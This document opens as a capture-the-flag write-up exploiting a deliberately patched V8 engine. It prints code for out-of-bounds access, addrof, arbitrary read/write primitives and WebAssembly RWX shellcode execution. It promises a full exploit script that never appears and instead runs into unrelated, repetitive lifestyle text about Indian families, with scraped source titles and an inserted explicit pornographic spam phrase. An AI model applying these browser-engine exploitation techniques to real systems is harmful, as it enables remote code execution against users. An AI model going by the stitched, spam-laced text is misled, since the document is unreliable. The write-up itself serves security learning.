Gotta go fast. server.py patch.txt
We are given the server.py python script, a d8 executeable and source code with a custom patch. I included the files directly relevant to the writeup above.
Looking at the provided patch, a very obvious vulnerability was introduced into v8. The patch adds a function called setHorsepower that allows us to set the length field of JSArray objects to a value of our chosing. The screenshot below showcases the relevant parts of the patch.
With this added vulnerability we can get an out of bounds read and write as showcased below. We start off by creating a JSArray object of type FixedDoubleArray. Next we use the setHorsepower function to increase its length to 0x100. We can now access out of bounds memory and both read and overwrite values stored on the v8-heap. We will now proceed to leverage this bug to take control of v8 and gain arbitrary code execution.
As you can see in the above screenshot, accessing arr[50] returned a float number due to the type of our array. Float numbers such as these are hard to interpret and use especially since they are oftentimes actually addresses that we would much rather view in hex. To accomplish this we will start by adding 2 helper functions.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val) {
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
The first helper function, ftoi, takes a value of type float and converts it to a BigInt value. The second helper function, itof, accepts a BigInt value as its argument and converts it to a float. This function will be important when trying to write values into memory.
Now that that is setup, our first goal will be to craft an addrof primitive. This primitive should allow us to pass in an arbitrary object and the function should return its address. We will accomplish this using our vulnerability.
var s = [1.1,2.2];
var obj = {"A":1};
var obj_arr = [obj];
var fl_arr = [3.3,4.4];
var tmp = new Uint8Array(8);
s.setHorsepower(0x100);
let obj_arr_elem = s[12];
function addrof(obj) {
obj_arr[0] = obj;
s[17] = obj_arr_elem;
return ftoi(fl_arr[0]) & 0xffffffffn;
}
We start by creating some objects, and using the vulnerable function to extend the length of our float array s. By accessing various indexes of the s array we can now read and overwrite arbitrary values stored after the s array. Our first step is to retrieve the elements pointer of our obj_arr. This will become vital for the upcoming addrof primitive.
For the addrof function, we start by setting the first index of our obj_arr to the value address we are trying to leak. Next we use our vulnerability to overwrite the elements pointer of fl_arr with the elements pointer of our object array. This makes it so fl_arr[0] now points to the address we just stored in the obj_arr. Finally we use ftoi to return the value with type BigInt. Like this we successfuly managed to create a primitive that allows us to retrieve the addresses of our objects.
As you may have spotted in the above screenshot, we did not in fact leak the entire address of the passed in object. We only got the lower 4 bytes. This is due to a v8 concept called pointer compression. To save space, only the lower 4 bytes of addresses are stored on the v8 heap. Since the upper 4 bytes are always the same throughout a specific v8 process, this address is instead stored in the r13 register. We will need to find a way to leak this value too if we want to successfuly leak object addresses.
In the beginning of our exploit we executed 'var tmp = new Uint8Array(8);' to allocate a specific object. As it turns out, this object actually stores the root address in memory, so we can simply leak it by accessing s[32];
We now have everything needed to proceed with our next primitives. To be more specific, we want an arbitrary read and write. There are multiple ways to achieve this, but I decided to accomplish this primitive via a pair of ArrayBuffers.
function arb_read(obj,offset) {
dv_1.setUint32(0, Number(addrof(obj)-1n+offset), true);
return dv_2.getUint32(0, true);
}
function arb_write(addr,val) {
w[21] = itof(BigInt(part_2)>>32n);
dv_1.setUint32(0, Number(addr), true);
dv_2.setUint32(0, val, true);
}
var w = [1.1,2.2];
w.setHorsepower(0x100);
var arr_1 = new ArrayBuffer(0x40);
var dv_1 = new DataView(arr_1);
var arr_2 = new ArrayBuffer(0x40);
var dv_2 = new DataView(arr_2);
w[6] = itof((addrof(arr_2)+0x10n + 3n)<<32n);
w[7] = itof(BigInt(root_leak)>>32n);
w[21] = itof(BigInt(root_leak)>>32n);
Once again we start by allocating an arr w and extend its length using the vulnerable function to achieve an index read/write. Next we allocate 2 arraybuffers and their dataview objects.
In JSArrayBuffer objects, the backing store points to their elements. These elements can then be viewed and edited using the getUint32() and setUint32() functions. This means that if we overwrite the backing store pointer of arr_1 with the address of the backing store pointer of arr_2, we can execute 'dv_1.setUint32(addrof(obj));' to write an arbitrary address to the backing store pointer of arr_2. We can now use dv_2.(get/set) to complete our arbitrary read and write primitives by using the pointer received from arr_1.
We now have all of our primitives together. The last thing needed is a way to obtain code execution. With our primitives, the easiest way to achieve this is through shellcode and webassembly.
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,...]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let pwn = wasm_instance.exports.main;
When creating a wasm function as demonstrated above, a RWX page is created in memory. This address is then stored at wasm_instance + 0x68.
To complete our exploit, we start by leaking the address of the rwx page using our arb_read() function on wasm_instance + 0x68. Next we call copy_shellcode() to copy our shellcode over to this page step by step using arb_write(). Finally we execute the '/bin/cat ./flag.txt' shellcode to retrieve the flag and complete the challenge.
The full exploit script is posted below.
A regular Tuesday can transform into a celebration. Indian families don’t just celebrate festivals; they perform them.
These are not just holidays; they are the emotional anchors that reinforce “we are a family.”
By 8:00 AM, the house transforms into a transit hub. Children in pressed uniforms wait for the school van. Men in light cotton shirts head to government offices, IT parks, or small family shops. Women—even those with careers—are often the logistical managers, packing tiffin boxes (leftover roti and a vegetable curry), reminding everyone to take their keys, and negotiating with the vegetable vendor who calls at the door.
Daily Story – The Shared Auto-Rickshaw: In a bustling Mumbai suburb, two cousins from the same apartment building share an auto-rickshaw to school. The older one (age 12) helps the younger (age 7) tie his shoelaces and checks if he has his lunchbox. This small act—unasked, automatic—illustrates how Indian children absorb responsibility early. The auto driver, a familiar figure for five years, knows their names and scolds them gently if they’re late.
The 2024 Indian family lifestyle is undergoing a seismic shift. Yet, it holds on.
Report: Indian Family Lifestyle and Daily Life Stories Indian family life is a blend of deeply rooted traditions and rapidly evolving modern realities. While the structure of the family is shifting from large joint households to smaller nuclear units, the underlying values of interdependence, respect for elders, and collective well-being remain the bedrock of society. 1. Family Structures and Dynamics
Joint vs. Nuclear Families: Traditionally, Indian families lived as joint units—three to four generations sharing a kitchen, finances, and household responsibilities. However, urbanization is driving a trend toward nuclear families (parents and children only), which now make up over 70% of households.
Hierarchical Authority: Families often follow a patriarchal structure headed by the eldest male (Karta), though his wife frequently manages domestic and religious affairs.
Interdependence: Unlike Western individualism, Indian culture emphasizes loyalty and consultation with elders on major life decisions like careers and marriage. 2. A Typical Daily Routine
For a middle-class urban family, the day is a "structured hustle":
Indian family systems, collectivistic society and psychotherapy - PMC
In an Indian household, life is a rhythmic blend of tradition, organized chaos, and deep-rooted connection. Whether in a bustling metropolitan apartment or a quiet ancestral home, the day is anchored by shared rituals and the constant presence of family. The Morning Symphony famous priya bhabhi fucked in front of hubby 4 full
The day typically begins early, often signaled by the whistling of a pressure cooker or the aroma of filter coffee and masala chai. Morning routines are a communal effort: parents ensure children are ready for school while grandparents might offer a quick prayer at the family altar (puja ghar). Breakfast is rarely a solitary affair, usually featuring regional staples like poha, parathas, or idli, served with a side of the day’s plans. The Balancing Act
Daily life is a dance between modern professional aspirations and traditional expectations.
The Multi-generational Dynamic: It is common to see three generations living under one roof. This "joint family" structure means that childcare, wisdom, and chores are shared, though "nuclear families" in cities maintain these ties through constant video calls and weekend visits.
The Marketplace: Daily life involves the sabzi mandi (vegetable market) or the local kirana store. Even with the rise of delivery apps, many families still prefer the ritual of picking fresh produce and haggling with familiar vendors. The Evening Decompression
As the sun sets, the "drawing room" becomes the heart of the home. This is where the family gathers to watch the news or a favorite serial, discuss the day’s events, and enjoy "evening snacks."
Dinner Rituals: Dinner is the most significant meal, almost always eaten together. It’s a time for storytelling, where elders pass down family history or "life lessons" to the younger generation over dal, sabzi, and fresh rotis.
Hospitality (Atithi Devo Bhava): An Indian home is never truly closed. Neighbors might drop by unannounced for a cup of tea, and "daily life" often expands to include extended cousins and friends who are treated like siblings. The Thread of Celebration
In India, daily life is frequently punctuated by festivals. Whether it’s a small Ganesh Chaturthi prayer or the grand preparations for Diwali, the lifestyle is geared toward the "next big celebration." These events aren't just religious; they are social glues that reinforce the family bond and provide a break from the mundane.
Indian family lifestyle is currently in a state of "delicate dance" between deep-rooted collectivist traditions and a rapid shift toward urban individualism. While the joint family system—where three to four generations live under one roof—remains a cultural ideal, it is gradually giving way to nuclear households, which now represent the majority in urban areas. 1. The Daily Rhythm: Rituals and Routines
Daily life often balances modern pressures with traditional "rhythmic beauty".
Morning Rituals: Many traditional households begin with a bath before entering the kitchen for hygiene and spiritual reasons, followed by brewing fresh chai. Practices like yoga, meditation, or morning prayers (puja) set a harmonious tone for the day. A regular Tuesday can transform into a celebration
Food & Kitchen: Home-cooked meals are central to family bonding, though urban families increasingly rely on online food delivery due to busy work schedules.
Social Life: Evenings often revolve around shared TV time—traditionally a family event, though now increasingly fragmented as individuals consume content on separate screens. Cricket matches remain one of the few occasions that still bring the whole family together in front of one TV. 2. Family Structures & Hierarchy Indian - Family - Cultural Atlas
The Heart of the Home: A Glimpse into Indian Family Lifestyle
In India, the family is the cornerstone of existence, a vibrant tapestry woven with deep-seated values of collectivism, duty, and shared history. While the landscape is shifting from sprawling joint households to intimate nuclear units, the soul of the Indian daily life remains anchored in connection. The Structure: From Joint to Nuclear
The Joint Family Legacy: Traditionally, three to four generations lived under one roof—grandparents, parents, and siblings sharing a common kitchen and "purse". Decisions, from career moves to marriages, were made collectively, often led by the eldest patriarch or matriarch.
The Modern Shift: Today, especially in cities like Mumbai or Delhi, nuclear families are becoming the norm. However, even in separate homes, strong "kinship ties" remain; relatives are often involved in daily life, providing a constant support network. Daily Life Stories: Urban Hustle vs. Rural Rhythm
The daily routines across India offer a study in contrasts, yet they share a common thread of discipline and devotion. Village Life: Early Risers and Community Bonds
A 5 AM Start: The day often begins before sunrise. Women in rural areas might walk miles to fetch water from communal wells, a task that doubles as a social gathering.
Nature's Pace: Men typically head to the fields for agricultural work by 8 AM. The lifestyle is physically demanding but peaceful, characterized by fresh, farm-grown meals and a shared sense of responsibility.
Collectivism in Action: In a village, when one family celebrates, the entire village feasts; when one mourns, the whole community gathers. City Life: The Corporate Grind and Digital Tradition
Indian family systems, collectivistic society and psychotherapy - PMC These are not just holidays; they are the
family life is anchored by a deep sense of social interdependence and respect for hierarchy, where several generations often live under one roof in a "joint family" system
. While urban areas are seeing a rise in nuclear households due to modern economic pressures, strong emotional and financial ties to the extended family remain the cultural standard. The Rhythm of Daily Life
Daily routines in an Indian household are often early-starting and labor-intensive, particularly for women who frequently balance jobs with the majority of unpaid housework.
In traditional narratives, the Indian woman is the Grihalakshmi (goddess of the home). But modern stories reveal a balancing act of heroic proportions.
Daily Life Story: Priya, a Working Mother in Pune Priya leaves for her IT job at 8:00 AM, but not before packing tiffins for her husband and mother-in-law. Her day involves coding meetings, a quick call to check on her son’s fever, and a lunch break spent ordering groceries online. She returns home at 7:00 PM to find her mother-in-law has already chopped vegetables for dinner. They cook together—one stirring the dal, the other rolling chapatis. This quiet solidarity between generations is the unsung engine of Indian family life. After dinner, her husband does the dishes while Priya helps with school projects. The modern Indian family is renegotiating roles, one chore at a time.
The quintessential Indian family lifestyle is rarely a solo performance; it is a symphony of interwoven lives, often spanning three or four generations under one roof. While urban nuclear families are increasingly common, the cultural ideal—and still a widespread reality—revolves around the joint family system ( parivaar ). This structure isn't just about shared expenses; it’s a living ecosystem of mutual support, unspoken hierarchies, and deeply embedded daily rituals.
Headline: POV: You grew up in an Indian family. 😂
If your life had a background track, it would be the sound of a mixer grinder and your mom lecturing you about "log kya kahenge?" (what will people say?).
Welcome to the world of Indian daily life stories, where: 👉 Guests are treated like Gods, but you’re still fighting for the last samosa. 👉 Your privacy is a myth (cupboard checks are real). 👉 "No" actually means "Ask your Father."
Join me as I document the hilarious, heartwarming, and sometimes frustrating reality of Desi family living. Tap in for your daily dose of relatable content! 🙌
#DesiHumor #IndianLifestyle #Storytime #RelatableContent #IndianMoms #ArrangeMarriage